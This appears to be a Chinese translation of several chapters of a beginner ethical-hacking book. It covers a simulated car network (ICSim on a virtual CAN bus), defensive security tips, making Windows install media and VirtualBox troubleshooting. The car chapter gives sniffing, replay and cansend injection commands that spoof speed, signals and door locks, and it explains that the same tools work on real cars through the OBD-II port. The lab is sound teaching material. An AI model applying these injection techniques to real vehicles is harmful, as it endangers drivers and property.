道德黑客会黑进 IoT 设备,以便在攻击者利用这些设备造成实际损害之前发现问题。在这一章中,你将看到这如何运作。你将黑进一个模拟汽车网络,查看汽车发送的网络消息,并编写命令来控制汽车的仪表盘。

安装汽车黑客软件

在这个黑客攻击中,我们将安装一个名为 仪表集群模拟器(ICSim) 的软件包,这是一个虚拟仪表盘,让你像在实际车辆中一样查看和互动,比如车速表、转向灯和门锁。Craig Smith(又名 zombieCraig)和 OpenGarages 团队创建了 ICSim,旨在帮助黑客和研究人员安全且道德地学习如何与汽车网络互动,而不破坏或摧毁实际的汽车或无辜的行人。

  1. 打开一个终端窗口并更新 Kali 的软件包列表:

    kali@kali:~$ `sudo apt update`
    
  2. 现在通过输入以下内容来安装 ICSim 的依赖项:

    kali@kali:~$ `sudo apt install libsdl2-dev libsdl2-image-dev can-utils`
    

    注意,两个 libsdl2 包的拼写中都包含一个小写字母 L,紧跟着数字 2。

  3. 以这种方式安装 ICSim:

    kali@kali:~$ `cd ~` 
    kali@kali:~$ `git clone https://github.com/zombieCraig/ICSim.git` 
    
  4. 在你的机器上设置 can-utils:

    kali@kali:~$ `cd ~`
    kali@kali:~$ `git clone https://github.com/linux-can/can-utils`
    kali@kali:~$ `cd can-utils`
    kali@kali:~/can-utils$ `make`
    kali@kali:~/can-utils$ `sudo make install`
    
  5. 使用以下命令设置 ICSim 仪表板模拟器软件:

    kali@kali:~/can-utils$ `cp lib.o ~/ICSim`
    kali@kali:~/can-utils$ `cd ~/ICSim`
    kali@kali:~/ICSim$ `make clean`
    kali@kali:~/ICSim$ `make`
    

现在,运行我们的虚拟汽车仪表盘并开始黑客攻击吧!

准备虚拟 CAN 总线网络

汽车的网络被称为 CAN 总线,简称 CAN。自 1990 年代以来,CAN 总线已被大多数汽车用于控制各种系统和传感器,如转向和刹车、收音机、空调和娱乐中心。你刚刚安装的 ICSim 软件创建了一个 虚拟 CAN (VCAN) 总线网络,我们将学习如何攻击它。现在,我们来创建这个网络并完成汽车黑客环境的设置。

  1. 要设置 VCAN,请在 ICSim 文件夹内的终端中输入以下命令:

    kali@kali:~/ICSim$ `sh setup_vcan.sh`
    
  2. 通过在终端输入 ip addr,确保 VCAN 配置正确。你应该能看到你的 IP 地址以及一个名为 vcan0 的新网络。

    kali@kali:~/ICSim$ `ip addr` `--snip--` 3: vcan0: <NOARP,UP,LOWER_UP> mtu 72 qdisc noqueue state UNKNOWN group default qlen 1000 link/can
    
  3. 在终端输入以下命令,告诉它先使用我们刚创建的 vcan0 网络运行 ICSim,然后等待我们的指令:

    kali@kali:~/ICSim$ `./icsim vcan0 &`
    

    你应该能看到一个模拟的仪表盘,类似于 图 10-1 中所示。

    f10001

    图 10-1:ICSim 程序显示了一个模拟的汽车仪表盘,包含速度计、转向信号等!

  4. 启动 vcan0 上的控制器应用程序:

    kali@kali:~/ICSim$ `./controls vcan0 &`
    

    应该会打开 CANBus 控制面板窗口。它看起来很像一个视频游戏控制器。

  5. 调整控制面板的大小,使 ICSim 窗口可见,可以点击窗口的任何角落并拖动。

  6. 右键单击控制面板窗口的顶部栏,选择 始终置顶,如 图 10-2 所示。

f10002

图 10-2:保持控制器应用程序可见并易于访问

要驾驶虚拟汽车,点击 CANBus 控制面板窗口,然后使用键盘发送命令。可用的命令列在 表 10-1 中。按上箭头加速,使用左右箭头控制转向信号等。

表 10-1:CANBus 控制面板的键盘控制

功能 按键
加速 按住上箭头 (↑)
打左转或右转 按住左箭头或右箭头 (←/→)
解锁前左或前右门 右-SHIFT-A 或 右-SHIFT-B
解锁左后或右后门 右-SHIFT-X 或 右-SHIFT-Y
锁上所有门 按住右-SHIFT + 轻按左-SHIFT
解锁所有门 按住左-SHIFT + 轻按右-SHIFT

控制器应用程序是与 VCAN 交互的唯一方式——除非我们黑进它。

黑客入侵汽车

我们的汽车黑客冒险将遵循测试大多数 IoT 设备安全性的相同步骤:

  1. 使用一个程序查看并记录控制器应用程序与仪表盘之间在 vcan0 网络上的流量。这类程序被称为 数据包嗅探器,因为在网络上传输的消息被称为 数据包

  2. 确定哪些网络数据包和命令控制哪些汽车系统或功能。

  3. 通过将你捕获的数据包重新发送回 vcan0 网络,或通过在终端中编写你自己的命令,来控制汽车。

查看数据包

我们将使用 cansniffer,can-utils 内置的数据包嗅探器,来监听我们模拟的汽车网络。

  1. 在你的终端窗口中,使用以下命令启动 cansniffer

    kali@kali:~/ICSim$ `cansniffer -c vcan0`
    
  2. 将终端窗口调整为高而窄(如 图 10-3 所示),以便更容易看到 cansniffer 消息。你可能还需要通过按 CTRL 和 − 减小字体大小几次。

  3. 点击 CANBus 控制面板窗口,并向虚拟汽车发送一些命令。尝试加速、使用转向信号等。

cansniffer 工具拦截在 vcan0 上由控制器应用和仪表板之间发送的数据包,并在终端窗口中显示它们。窗口中的每一行表示一个数据包。网络每秒传输数百个数据包,因此它们会很快通过。

让我们看一个示例数据包,看看我们能找到什么信息。以下是图 10-3 中展示的一个数据包:

10.204188 2244 300 00 00 01 06 4.....

f10003

图 10-3:cansniffer 数据包嗅探器显示我们 vcan0 网络上的消息。

第一列是一个 时间戳 1,表示数据包发送的时间。第二列 2 是系统的 ID 号码,表示消息的发送或接收方。正如我们将要发现的,CAN ID# 244 代表了速度计。第三列 3 是 CAN 消息数据,使用十六进制值表示,第四列 4 包含以可打印字符表示的相同数据。

经验丰富的黑客知道如何分析数据包嗅探器捕获的流量,以确定不同数据包的含义。这需要练习和耐心。现在,尝试在控制器应用中多次按向上箭头加速,并观察终端窗口中的 ID# 244。观察消息数据列中随着你加速和减速时的变化值。识别这个模式是一个线索,表明 ID #244 代表速度计。

现在按下转向灯(左箭头和右箭头),并观察 ID# 188。当你触碰转向灯时,它应该会出现,并在你关闭转向灯后几秒钟消失。使用左、右 SHIFT 键或右 SHIFT 键加 X、Y、A 和 B 键锁定和解锁车门,并观察 ID# 19B 旁边的数据发生了什么变化。19B 的行应该只会在你锁门或解锁门时短暂出现。

在终端窗口中按下 CTRL-C 停止 cansniffer,当你已经进行足够的实验时。如果数据包发送得太快,你来不及挑选出具体的 ID,也不必担心。下一步是记录一些数据包,这样你可以在自己有空时进行研究。

捕获数据包

can-utils 工具 candump 用于记录来自 CAN 总线的消息,以便我们可以进一步分析或甚至重新播放这些消息。

  1. 要开始从 vcan0 记录数据包,请输入以下命令:

    kali@kali:~/ICSim$ `candump -l vcan0`
    

    -l 选项(即连字符和小写 L)是 log 的缩写,因为我们要求 candump 通过将数据保存到文件中来记录其输出。

  2. 切换回 CANBus 控制面板窗口,开车几秒钟。加速和减速,使用左、右转向灯,锁定和解锁车门。

  3. 按下 CTRL-C 停止记录。

  4. 在终端窗口中输入 ls(即 list 的缩写),以显示 ICSim 目录的内容。你应该能看到一个新的文件,格式为 candump-``YYYY``-``MM``-``DD``_``time``.log(时间以小时、分钟和秒表示——HHMMSS),如下所示:

    candump-`2021``-``05``-``18_113713`.log
    

candump日志文件是一个简单的文本文件。你可以在文本编辑器中查看该文件,并使用 CTRL-F 来查找特定的 CAN ID 值,比如用于转向信号灯的 188,如图 10-4 所示。

f10004

图 10-4:在 Mousepad 文本编辑器中搜索特定的 CAN ID 值

重放数据包

通过在 vcan0 网络上重新发送我们在日志文件中捕获的数据包,我们可以让仪表盘“重温”录制的驾驶过程。这种攻击被称为重放攻击

  1. 首先,关闭 CANBus 控制面板。即使在空闲时,控制器窗口也会不断发送信号,我们只希望使用我们捕获的数据包来控制仪表盘。

  2. 在终端窗口中输入以下命令,通过canplayer工具重放日志文件,将candump-``YYYY``-``MM``-``DD``_``time``.log替换为你的日志文件名:

    kali@kali:~/ICSim$ `canplayer -I candump-``YYYY``-``MM``-``DD``_``time``.log`
    
  3. 你的 ICSim 仪表盘应该会像你最初捕获数据包时一样开始移动。例如,在图 10-5 中,我正在右转并以每小时 90 英里的速度解锁四个车门!(我不建议你在真实的汽车中尝试这样做。)

f10005

图 10-5:重放的数据包正在控制仪表盘。

许多物联网设备容易受到像这样的重放攻击。例如,当它们首次发布时,许多蓝牙门锁就容易遭遇这种攻击。只需用一台运行蓝牙无线嗅探器(如 Kismet,它是 Kali 中的一部分)和一根物理蓝牙天线(如价格约 100 美元的 Ubertooth One)配合笔记本电脑,你就能在某人用智能手机打开门时捕获数据包,并在任何时候重放这些数据包以解锁门。如今,为了防止重放攻击,每条消息都会添加一个特殊的值,以便系统能够识别它是接收到的新消息,还是以前见过的消息。

发送新命令

汽车黑客可以分析candump日志文件来解码 CAN ID 号,并弄清楚每条消息中的数据值是什么意思。有了这些知识,黑客就可以向系统发送特定命令,使汽车做出他们想要的行为。例如,向 ID#188 发送消息02000000就能打开右转向信号灯。让我们试试看!

在 ICSIM 打开且控制器窗口关闭的情况下,在终端输入以下命令:

kali@kali:~/ICSim$ **cansend vcan0 188#02000000**

我们使用cansend将 CAN 消息发送到 vcan0\。消息包含转向信号灯的 ID 号(188),然后是哈希符号(#)作为分隔符,最后是表示右转向信号灯的数值(02000000)。你的仪表盘上的右转向信号灯应该会亮起绿色。

如果你想打开左转向信号灯,发送以下信息:

kali@kali:~/ICSim$ **cansend vcan0 188#01000000**

要关闭信号灯,发送消息188#00000000。或者,使用此命令同时打开两个信号灯:

kali@kali:~/ICSim$ **cansend vcan0 188#03000000**

现在看看candump日志文件中与速度表(ID# 244)相关的 CAN 数据包中的数据值。看起来最后四个十六进制数字随着速度的增加而上升。数据值0000000000表示 0 英里每小时,0000003894大约对应每小时 90 英里。我们来看看0000009999会产生什么效果:

kali@kali:~/ICSim$ **cansend vcan0 244#0000009999**

如图 10-6 所示,速度表跳到了每小时 240 英里!你甚至可以通过十六进制值使其更高——试着将最后四位数字改为A000B000,甚至FFFF

f10006

图 10-6:我们可以通过直接向 CAN 总线发送信号,使用cansend控制仪表盘。

类似地,我们可以通过发送消息19B#00000F000000来锁定所有车门,通过发送消息19B#000000000000来解锁所有车门(哈希符号后是 12 个零):

kali@kali:~/ICSim$ **cansend vcan0 19B#00000F000000** kali@kali:~/ICSim$ **cansend vcan0 19B#000000000000**

我们的虚拟汽车认为它正在向左和向右转弯,并且在以每小时 240 英里的速度飞驰的同时解锁了四个车门!

攻击者如何黑客攻击真实汽车

要使用你刚刚学到的can-utils工具和技巧来黑客攻击一辆真实的汽车,攻击者只需要一台运行 Kali Linux 的笔记本电脑和一根电缆,将笔记本电脑连接到大多数汽车方向盘下的车载诊断第二版(OBD-II)端口。许多这样的电缆价格低于 100 美元。然而,现实中的汽车黑客攻击是一个严肃的问题,可能会导致重大的财产损失或伤害。研究人员在受控环境中进行汽车黑客攻击,寻找安全漏洞。如果你进行汽车黑客攻击,请确保在车库或车道,或在封闭的赛道上进行;绝不要在公路上或任何有人可能受伤的地方进行黑客攻击。

汽车黑客并不总是需要保持与车辆的有线连接才能发送命令。在通过直接连接到特定品牌和型号的汽车找到有用的 CAN ID 号码和信息后,攻击者或安全研究人员可以尝试通过蓝牙、Wi-Fi 或 4G/5G 无线连接到汽车,尝试远程发送 CAN 信息。有一起备受关注的黑客攻击事件利用了驾驶员的免提智能手机连接,通过汽车的仪表盘娱乐系统远程控制了汽车。另一例则使用了特斯拉的 4G 无线空中更新系统,远程安装恶意软件并篡改了汽车。

好消息之一是,每辆车都有些微不同,一辆车中的 CAN ID 号码通常与另一辆车的 CAN ID 不同。每个制造商使用不同的代码,有时同一制造商的每个型号使用一组不同的代码,这些代码可能会在不同的车型年之间发生变化!此外,现代汽车上有几种不同类型的控制器网络;CAN 只是最常见的一种。简而言之,破解真实汽车上的代码需要极大的耐心。

要点

在本章中,我们使用了 ICSim 和 can-utils 来破解虚拟汽车网络。我们在 Kali 虚拟机上设置了这些工具。然后,我们使用 cansniffer 嗅探网络流量,查看 CAN 数据的样子。我们使用 candump 捕获了 CAN 信号,接着使用 canplayer 播放这些数据包,改变仪表盘,而无需使用汽车的键盘控制。我们还通过 cansend 发送了特定的 CAN 消息,直接从命令行操作转向灯、改变车速表、解锁车门。最后,我们了解到,破解一辆真实的汽车只需要大约 $100 的工具和大量的耐心。

第十一章:现在可以做的十件事,帮助你保护自己免受网络攻击

你已经读完了这本书,但你的道德黑客之旅才刚刚开始。你现在了解了坏人使用的技巧和工具,以及如何防范主要的攻击来源(物理入侵、社会工程学、搜索引擎侦察、汽车和物联网黑客攻击、恶意软件、密码破解、网站服务器攻击和移动设备黑客攻击)。换句话说,你学会了先“黑”自己!这一章是对你可以做的 10 件最重要的事情的快速回顾,帮助你保护自己和你关心的人免受网络和现实世界中的攻击。

1. 认识到你是目标。

有些人常说:“这永远不会发生在我身上”或“我无能为力”,然后他们最终成了恶意攻击的受害者。本书已经向你展示了,黑客入侵大多数设备其实比想象中简单,而且没有人能够完全避免在线威胁。然而,通过采取一些聪明的预防措施,你至少可以避免成为攻击者的轻松目标。意识到你是潜在的目标——而且你的个人信息对普通黑帽黑客来说很有价值——是保护自己和你关心的人的第一步。

2. 小心社会工程学攻击。

如果有人试图让你做某事,无论是在网上还是面对面,都停下来想一想,这是否符合你的最佳利益。从咄咄逼人的二手车销售员到网络犯罪分子再到在线掠食者,攻击者利用人类心理来试图欺骗我们做他们想做的事。

注意并小心侵犯你隐私的威胁。如果有人要求你的个人信息,考虑他们的真实身份。对方要求什么信息?他们为什么需要这些信息?在可能的情况下,避免让自己处于必须完全放弃个人信息的境地:屏蔽不必要的联系人和社交媒体连接,删除可疑的电子邮件而不回复,挂掉自动拨号电话,删除垃圾短信。任何一种骚扰都可能是攻击者进入的途径。

在此期间,避免在社交媒体上分享过多信息。在发布、拍照、发推或分享之前,想一想谁能看到你的帖子,以及他们能用这些信息做什么。你和朋友的照片、你去过的地方(永远不要在度假时发布度假照片)以及你喜欢的东西,都可能被攻击者利用,诱使你信任他们。

如果有疑问,找信任的人聊聊;向 FTC 报告网络犯罪,网址为www.ftc.gov/;向 FBI 报告,网址为www.ic3.gov/,并向当地执法部门报告网络霸凌、跟踪或骚扰行为。

3. 记住物理安全的重要性,尽可能关闭设备。

物理访问等于完全访问,因此请像对待在线安全一样小心物理安全。锁好门,保护好个人物品,注意插入电脑的设备。如果你在咖啡店离开笔记本电脑,即使只是几分钟,攻击者也可能访问你的文件或将电脑偷走。插入电脑的闪存驱动器或其他设备可以用来窃取文件或启动恶意软件。

当你不使用时,关闭电脑的连接,如蓝牙或 Wi-Fi。除了节省电池寿命,你还在阻挡攻击。对于移动设备也是一样,使用完后应该关闭应用程序。如果可以的话,晚上关掉你的电脑和手机。这样你会睡得更好,心里也更踏实——而且你每个月还能省下几块电费!

4. 在点击之前一定要三思而后行。

如果你不确定电子邮件的来源,不要打开任何链接或附件。在点击之前仔细检查网页链接,或者将其提交给 VirusTotal 检查。更好的做法是,打开一个新的浏览器,自己搜索真实的网站,而不是通过电子邮件链接,即使它看起来很正规。

除非你信任来源,否则不要通过网络下载或安装软件,即使信任了,也要先在 VirusTotal 或你的病毒扫描器中检查一下。在打开可疑的附件时要小心,包括 Office 文档、PDF 文件和视频;最好验证源头或先扫描文件以确保安全。并且不要共享或下载非法文件、盗版软件、音乐或电影。恶意黑客喜欢在这些“免费”文件中藏匿恶意程序。

仅从官方应用商店安装移动应用。在安装新应用之前,先阅读该应用请求的权限列表。一个游戏或简单的应用不应该需要访问你的联系人、通话记录或短信——除了像 Pokémon Go 这样的增强现实或基于位置的应用,其他应用也不应该需要获取你的位置信息。如果一个应用请求的权限比你认为应有的还多,删除它并找到一个权限更少的应用来满足你的需求。

5. 使用密码管理器并启用双重身份验证。

大多数人的密码可以在几秒钟或几分钟内被破解。八个字符的密码永远不够。使用一个由四个或更多单词组成、混合字符类型(包括字母、数字、符号,甚至非键盘字符)的密码短语。不要在多个网站使用相同的密码;即使你添加了数字或特殊字符,黑客也只需要几秒钟就能破解一个与他们已经知道的密码相似的密码。

不要在浏览器中存储密码——记住,你只需要点击几下就能显示这些密码!相反,使用密码管理器,比如 KeePass、Dashlane、LastPass 或类似的工具。密码管理器为你所有的账户随机生成强大且复杂的(20 个字符以上)密码,并以加密形式存储它们。你设置一个长的密码短语来访问你的密码管理器,然后让密码管理器自动处理所有其他密码,这样你就不需要记住它们。

密码管理器被认为是安全的,因为它们实际上使用军事级加密来加密你的密码。这与我们在第一章中看到的浏览器通过“安全性模糊化”的方式保护密码截然不同。密码管理器通过将密码加密,确保如果攻击者没有你的长密码短语,密码是无法恢复的。类比而言,密码管理器就像是把你的房屋钥匙放进一个两吨重的防弹保险箱里,并且设有一个 20 位数字的组合锁,锁在你家门口的路边,而不是把钥匙藏在门垫下。通过在存储之前实际加密你的密码,密码管理器(配合一个好的密码短语)提供了真正的安全性,而不仅仅是“模糊化”。

使用密码管理器有一个例外:确保将你的电子邮件密码与密码管理器分开存储并记住它(而不是仅仅存储在管理器中),以防你忘记了密码管理器的密码短语,并需要通过电子邮件重置所有密码。这也可以保护你,以防有人欺骗你透露密码管理器的密码短语——你仍然可以通过将重置链接发送到你的电子邮件来重置其他密码。最终,你只需要记住两个密码短语——一个用于你的电子邮件,另一个用于密码管理器——你依然可以为每个账户拥有独一无二、几乎无法破解的密码。

为了增加保护,在攻击者能够窃取或猜测你的某个密码的情况下,启用你最重要账户的双重身份验证。双重身份验证通过要求除了密码之外的额外验证步骤来增加一层安全性,以访问你最敏感的账户。通常,额外的验证步骤是将安全代码发送到你的手机。

6. 保持软件更新。

启用操作系统的自动更新,并定期更新浏览器和其他应用程序。最好每月至少运行一次更新。选择每个月的某一天,比如 1 号或 30 号,记在日历上更新你的桌面/笔记本电脑和所有应用程序。把这看作是另一项必须完成的任务,就像支付账单一样。一旦更新可用,尽快更新你的手机、智能电视和其他设备。

安全补丁和软件更新是攻击者首先寻找漏洞的地方,他们可以在旧版本中利用这些漏洞。一旦攻击者发现问题已经被修复,任何没有下载该修复程序的人就成了活靶子。这就是为什么 Kali 中超过 2,000 个漏洞利用工具攻击旧版本软件的原因。保持所有软件的最新状态将消除超过 99% 的已知互联网攻击。

7. 保护你最敏感的数据。

不要在公共电脑或不受信任的网络上登录敏感账户。相反,只在你最受保护的电脑上做敏感工作——这台电脑应该放在一个安全的位置,且拥有良好的杀毒程序、防火墙、最新的软件、强大的账户控制和极少安装的程序。使用复杂的密码和家里的安全 Wi-Fi,并定期检查路由器上是否有不明设备,至少每月一次。

考虑将你最私密的数据,比如信用卡信息、税单和健康记录,完全存放在电脑之外。否则,对于你想要最大程度保护的电脑上的敏感信息,考虑加密文件,或者加密你做敏感工作的整块硬盘。在 Windows 专业版中,你可以使用 BitLocker 加密整个硬盘,或者右键点击单个文件和文件夹,选择 高级 . . .加密内容以保护数据。在 macOS 上,你可以通过访问 系统偏好设置安全性与隐私FileVault 来使用 FileVault 加密硬盘。我在这里不详细讲解步骤,但加密程序应该会指导你,如果遇到问题,快速的网上搜索也能帮你找到解决方案。像 VeraCrypt 这样的开源加密软件也可以让你在几步之内使用密码或口令加密文件、文件夹或整个硬盘。你可以在 www.veracrypt.fr/ 下载 VeraCrypt。

将你的加密密码存储在密码管理器中,以防忘记是可以的。对于偷走你硬盘或笔记本电脑的窃贼,或者在锁定并要求赎金之前试图从你电脑中窃取数据的勒索软件攻击者来说,你的文件仍然完全没有用。

8. 明智地使用安全软件。

保持防火墙开启,并定期更新你的杀毒软件。现在有几款免费的和低成本的杀毒工具。研究哪些工具可以阻止最多的恶意软件,然后每周更新你的杀毒工具,或者开启自动更新,以最大限度地提高其保护能力。防火墙和杀毒软件只有在开启并保持最新时才能保护你。

考虑使用 VPN 应用程序,在旅行时或使用公共 Wi-Fi 时保护你的手机或笔记本电脑。VPN,或称虚拟私人网络,在你使用互联网时掩盖你的身份并加密你的数据,这样任何在网络上监视的人都无法看到你的信息。使用 VPN,你会比大多数同龄人更安全,也更能防范大多数在线攻击。

9. 备份你想保留的数据。

防止数据丢失的最佳方法——无论是因为勒索软件、盗窃、破坏还是意外删除——就是经常备份数据。每周或每月(取决于如果丢失一个月的数据你会有多大压力)将文件备份到外部硬盘。

最好将备份硬盘放在与电脑不同的地方,以避免同时丢失两者。或者,省去麻烦,每月支付几美元使用云备份服务。在线搜索一个评分高且具有你需要的功能的服务。

10. 和你的家人沟通。

沟通,沟通,再沟通。确保你的孩子们,以及你的父母和年长的亲戚,了解你在本书中学到的防御威胁和攻击的知识。网络犯罪分子和掠夺者像针对你的账户和身份一样,正在寻找他们的目标。鼓励他们在回应可疑或威胁性的电子邮件、电话或短信之前先停下来思考。如果他们不确定该怎么做,你甚至可以提供帮助,充当他们的“现实检查”。有时候,单单讨论一下在线的诱惑或威胁就能帮助目标意识到那是一个骗局。

父母,根据孩子的年龄设定适当的屏幕时间限制,讨论在线和现实世界的威胁,并倾听孩子们的想法。了解他们的朋友是谁,他们在线上和谁聊天。考虑互相追踪彼此的设备——让孩子们追踪你的手机,反之亦然。确保他们理解过度分享个人信息的危险。最重要的是,鼓励他们在不确定该做什么时,或者如果他们遇到网络欺凌或骚扰时,及时与你沟通。

重点总结

你已经在理解在线威胁方面取得了长足进展。你已经在自己构建的安全虚拟环境中进行过真实的黑客攻击。你还学会了如何保护自己,以及如何保护你关心的人免受计算机攻击。

你还学会了 21 世纪一些最热门的工作技能。每年都有成千上万的网络安全职位空缺,而你现在拥有了真实的经验,能够防御恶意黑客使用的工具,保护你的设备和网络。

利用这些知识为善,保持安全,享受黑客技术和练习你新学到的网络安全技能!

第十二章:创建 Windows 10 安装光盘或 USB 闪存驱动器

道德黑客通常帮助恢复文件或重置密码,正如我们在第二章中的 Sticky Keys 破解中所做的那样。为此,你可以使用可启动的恢复光盘或 USB 驱动器。这些通常用于重新安装损坏的 Windows,以便你能访问电脑上的文件。

要创建启动光盘或 USB 驱动器,你可以直接从微软下载免费的评估版 Windows 10,然后将其刻录或安装到 DVD 或 USB 闪存驱动器上。你需要一个至少可以容纳 8GB 的光盘或驱动器。

下载 Windows 10

  1. 在浏览器中访问www.microsoft.com/evalcenter/(有时微软会更改其网站,如果这个网址无法访问,请搜索“Microsoft Evaluation Center”找到新页面)。

  2. 点击开始使用以查找多个类别的微软产品评估版,如 Windows、Windows Server 和 Office。

  3. 点击WindowsWindows 10 企业版(或其他更新的 Windows 操作系统)进入如图 A-1 所示的 Windows 10 企业版评估界面。faa001a

    图 A-1:Windows 10 企业版评估界面

  4. 在“开始评估”中,选择ISO - 企业版作为评估文件类型,然后点击继续

  5. 该网站会要求你填写一份关于自己的表格。如果你未满 18 岁,请在输入个人信息前先与成年人确认。提交信息后,你应该会看到一个类似于图 A-2 的下载界面。fAA002

    图 A-2:选择平台和语言,下载免费的合法评估版 Windows。

  6. 选择64 位,选择语言,然后点击下载

Windows 10 安装下载文件是一个ISO 文件,通常称为镜像,它是一个包含所有必要文件的单一文件,用于制作像我们的软件安装光盘一样的 CD 或 DVD。ISO 文件大小为 4GB 或更大,因此请尝试在一个网络连接快速的地方下载。

将 Windows 10 刻录到 DVD

要将 Windows 10 刻录到 DVD 上,你需要一台带有 DVD 刻录机驱动器的计算机。

  1. 对于 Windows,右键点击 ISO 文件并选择刻录光盘镜像。对于 Mac,选择 Finder 中的 ISO 文件并转到文件刻录 <光盘>

  2. 将空白 DVD 插入驱动器,几分钟后,你就会拥有一张可启动的 Windows 10 安装光盘。

将 Windows 10 安装到 USB 闪存驱动器

如果你没有 DVD 刻录机驱动器,可以使用微软的 Windows 媒体创建工具将 Windows 10 安装到 USB 闪存驱动器上。

  1. 访问 www.microsoft.com/en-us/software-download/windows10/,如图 A-3 所示。(再次提醒,微软经常更改网址、站点名称,甚至工具名称,如果这个网址不可用,可以搜索“Windows 媒体创建工具”,你应该能找到正确的链接。)fAA003

    图 A-3:从微软下载 Windows 媒体创建工具。

  2. 下载并安装适合你首选语言的 Windows 媒体创建工具。

  3. 运行工具时,选择 创建安装媒体(USB 闪存驱动器、DVD 或 ISO 文件),然后点击 下一步fAA004

    图 A-4:选择 创建安装媒体

  4. 保留 Windows 10 语言和版本的默认选择,然后点击 下一步

  5. 选择 USB 闪存驱动器 作为你的媒体类型。fAA005

    图 A-5:选择 USB 闪存驱动器,插入一个空的 USB 驱动器,然后点击 下一步

  6. 插入一个至少有 8GB 空闲空间的空 USB 驱动器,选择该空的 USB 驱动器,然后点击 下一步

这需要几分钟时间,但当工具完成时,你将拥有一个可启动的 USB 驱动器,里面已完整安装 Windows 10,可以用来进行 Sticky Keys 破解或一般的计算机故障排除和修复。

第十三章:VirtualBox 故障排除

在 VirtualBox 中首次运行虚拟机时,你可能会因为 Mac 或 PC 的不同设置而遇到错误。使用本附录来排查 VirtualBox 设置问题。如果你按照这些步骤操作后仍然遇到问题,可以访问本书的官方网站www.nostarch.com/go-hck-yourself/获取最新帮助,或者在网上搜索你遇到的具体错误。设置虚拟黑客实验室可能需要几次尝试,但绝对值得!

Mac 上的 VirtualBox 故障排除

某些 Mac 在首次加载 Kali 虚拟机时可能会显示错误。尝试按照以下步骤修复该错误:

  1. 确保你已按第三章的描述正确安装了 VirtualBox 扩展包。

  2. 转到系统偏好设置安全性与隐私,然后点击常规选项卡。

  3. 如果你看到底部有一条消息说 Oracle 软件被阻止加载,点击允许

  4. 重新启动 VirtualBox,Kali 虚拟机应该能正常打开。

Windows 上的 VirtualBox 故障排除

如果 VirtualBox 在 Windows 上运行不正常,你可能需要执行以下操作:

  1. 在控制面板中关闭 Hyper-V 选项。

  2. 在计算机的 BIOS 或 UEFI 设置中启用虚拟化。

接下来我们会更详细地介绍这两个步骤。完成后,重新启动 VirtualBox 并重试打开 Kali 虚拟机。

关闭 Hyper-V 选项

某些版本的 Windows 默认启用了 Hyper-V(微软的虚拟化软件)。如果你想使用 VirtualBox,则需要关闭 Hyper-V。

  1. 转到控制面板程序程序和功能启用或关闭 Windows 功能

  2. 在设置列表中,取消勾选所有名称中包含 Hyper-V 或 Hypervisor Platform 的选项,如图 B-1 所示。fab001a

    图 B-1:关闭所有 Hyper-V 和 Windows Hypervisor Platform 选项

  3. 关闭 Hyper-V 和 Hypervisor Platform 设置后,你需要重新启动计算机,然后再运行 VirtualBox。

在 BIOS/UEFI 设置中开启虚拟化

如果你已经关闭了 Hyper-V 但仍然无法使用 VirtualBox,你可能需要启用虚拟化支持。要启用虚拟化支持,你需要重新启动并进入电脑的 BIOS 或 UEFI,这是电脑的基本硬件设置。

  1. 在 Windows 10 中,转到设置更新与安全恢复高级启动立即重启,如图 B-2 所示。你的电脑应该会重新启动进入高级启动模式。fab002

    图 B-2:从 Windows 10 进入 BIOS

  2. 在蓝色启动菜单中,选择故障排除并按回车。然后选择高级选项并再次按回车,如图 B-3 所示。

  3. 高级选项菜单屏幕包含用于故障排除和修复电脑的有用工具,包括系统还原和启动修复。在此菜单的右下角,选择“UEFI 固件设置”或“启动设置”选项,如图 B-4 所示。fab003b

    图 B-3:访问高级选项菜单

    fab004b

    图 B-4:访问 UEFI 固件设置或启动设置

  4. 按下 ENTER 键,然后点击 重启。如果你的电脑使用较新的 UEFI 固件设置,重启时你应该能看到 UEFI 设置菜单。如果你的电脑使用较旧的 BIOS 启动设置,你可能需要按下特定的键才能在重启时进入 BIOS。

  5. 一旦进入启动 BIOS 或 UEFI 设置,找到虚拟化设置并启用它们。你可能需要使用箭头键、空格键或回车键来浏览这个看起来有些过时的菜单。每个品牌的 PC 都有略微不同的 BIOS 设置,所以只需寻找类似“虚拟化技术”、“VT-x”或“VT-d”的菜单选项。通常这些选项位于“高级”、“系统”或“CPU”设置下。

  6. 启用或打开虚拟化,保存更改,并退出以重新启动进入 Windows。

  7. 重启 VirtualBox 并重新打开 Kali 虚拟机。

最后一个问题:某些杀毒软件

如果在尝试了所有上述虚拟化设置后,虚拟机仍然无法启动,并且你已经下载并重新安装了正确的 VirtualBox 和虚拟机文件,可能是你的电脑的杀毒软件阻止了 VirtualBox。在线搜索是否有其他人遇到相同问题(我的学生遇到过 WebRoot SecureAnywhere 的问题,还有一些版本的 Avast 和 Symantec),你可能可以为 VirtualBox 添加排除项,以避免杀毒软件阻止它。作为最后的手段,可以尝试使用没有杀毒软件或换一个杀毒程序的电脑。

posted @ 2025-12-01 09:45  绝不原创的飞龙  阅读(15)  评论(0)    收藏  举报